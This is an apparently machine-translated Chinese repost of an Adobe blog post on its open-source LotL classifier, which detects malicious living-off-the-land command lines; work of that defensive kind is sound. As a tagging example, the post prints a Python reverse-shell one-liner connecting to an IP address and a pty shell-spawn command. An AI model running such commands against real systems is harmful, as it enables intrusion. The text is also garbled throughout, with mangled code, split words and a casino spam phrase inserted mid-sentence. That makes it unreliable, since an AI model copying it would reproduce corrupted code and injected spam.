依赖土地(LotL)分类器开源项目

安全
作者: Adobe安全情报团队
发表日期: 2022年4月28日

编者按: 以下是Adobe赞助的博客文章.

在安全领域,“以土地为生”(LotL或LotL)类型的攻击并不新鲜. 不法分子一直在使用合法的软件和功能来瞄准系统并进行恶意攻击 多年来. 虽然这并不新奇, LotL仍然是非常熟练的攻击者的首选方法之一. 为什么? 因为黑客倾向于不重新发明轮子,更喜欢保持低调.e.,不留下“足迹”,比如系统上的随机二进制文件或脚本. 有趣的是, 正是由于这些隐秘的动作,通常很难确定哪些操作来自有效的系统管理员,哪些操作来自攻击者. 这也是为什么静态规则会触发如此多的误报,以及为什么妥协无法被发现的原因.

大多数防病毒供应商不将执行的命令(从语法和词汇表的角度来看)视为攻击向量, 大多数基于日志的警报都是静态的, 范围有限, 而且很难更新. 此外, 经典的LotL检测机制是嘈杂的,而且有些不可靠, 产生大量误报, 因为典型的规则是有机成长的, 退出和重写规则比维护和更新规则更容易.

Adobe的安全情报团队着手帮助解决这个问题. 使用开源和其他代表性事件数据, 我们制定了一个充满活力和高度自信的计划, 称为LotL分类器, 和 然后我们把它开源了 对更广泛的澳门赌场官方下载.  

LotL分类器是独一无二的,因为它使用了监督学习方法——这意味着它基于示例输入-输出对将输入映射到输出.

LotL分类器有两个基本组件:

  • 特征提取
  • 一种基于ml的分类器算法

特征提取
特征提取 (FE)组件接受开源和其他代表性事件数据的输入, 也被称为恶意软件攻击, 实际的日志数据, 并创建一个描述命令的数据集, 基于数百个关键字, regex, 以及帮助检测相似性的静态规则.

图1:特征提取

图1:特征提取

特征提取过程受到人类专家和分析人员的启发:在分析命令行时, 人们/人类依赖于某些线索, 例如正在使用哪些二进制文件以及访问哪些路径. 然后他们快速浏览参数和, 如果在命令中出现, 他们关注域名, IP地址, 端口号. So, 我们设计了特征提取过程来模仿典型的人类过程,并为相同类别的特征创建了标签:二进制文件, 关键字, 模式, 路径, 网络, 和相似性.

图2:为典型的反向shell生成标记的示例.

命令: 出口RHOST = 127.0.0.python -c 'import sys,socket,os,pty;s=socket.套接字();.连接(操作系统.采用“十一.12.133.14”),int (os.采用“RPORT”))));[操作系统.dup2(年代.Fileno (),fd) for fd in (0,1,2)].产卵(/ bin / sh) '
提取的特征:1P_loopback ip_public path_ / bin / sh comm和_export comm和_python comm和_for keyword_c keyword_socket keyword_os keyword_pty keyword_pty . sh.SPAWN python_spawn python_socket python_shell import_pty
预测:


图3:相似技术
图3:相似技术

相似度测试
一旦数据集完成, FE组件将相似性测试作为次要验证机制. 要做到这一点, 我们使用BLEU(双语评估替补)指标:一个介于0和1之间的数字, BLEU分数通常用于机器翻译,以衡量一个句子的两个拟议翻译之间的相似性. 对于LotL分类器, 我们使用BLEU分数来表示两个命令行在参数中共享相同模式的功能相似性. 直观地说,Levenshtein距离也是这个任务的一个很好的候选者. 然而, 在进行我们的手动验证时, 我们得出的结论是,加权BLEU提供更好的结果.

图4:一个众所周知的命令示例,生成一个similarity/LOOKS_LIKE_KNOWN_LOL标签, 绕过ML分类

命令: Python -c "import pty.产卵(/ bin / sh)”
提取的特征: 路径_/ bin / sh comm和_python keyword_c keyword_pty keyword_pty . sh.python_shell import_pty LOOKS_LIKE_KNOWN_LOL
预测:


简单来说:如果它看起来像一只鸭子, 像鸭子一样游泳, 像鸭子一样嘎嘎叫, 那么它可能是一只鸭子.

机器学习(ML)分类器
使用特征提取过程中生成的标签, 数据集现在已经为项目的决策组件做好了准备. ML分类器获取数据集并将其标记为好或坏. 在测试过程中, 我们使用了各种不同的分类器, 但我们在使用随机森林分类器的准确性和速度方面得到了最好的结果. 采用五重验证,F1平均得分为0.95,标准差为0.013在最新的内部培训中使用我们的测试数据集代表“现实世界”的情况.

最后,该项目生成关于命令的两组主要信息:

  1. 决定(或分类)输入集中的数据为好或坏,
  2. 创建一组描述命令本身的标记, label, 哪些可以在不同的基于规则的自动化(RBA)或异常类型的项目中进行流水线, 比如我们的 最近开源的一站式异常商店(OSAS).

最后的笔记
我们最近开放了项目的源代码 http://github.com/adobe/libLOL. 而R和omForest分类器被嵌入, 如果您选择使用不同的分类器, 你可以下载 我们的OSAS项目 来帮助你做到这一点. 您还可以尝试使用不同的分类器,并将结果与您自己的数据集进行比较.

我们希望这个工具对您有用. 我们是开放的任何反馈,以继续改善它通过 我们的GitHub项目页面.

ISACA年度报告

2023
复选标记

2022
复选标记

2021
复选标记

2020
复选标记

2019
复选标记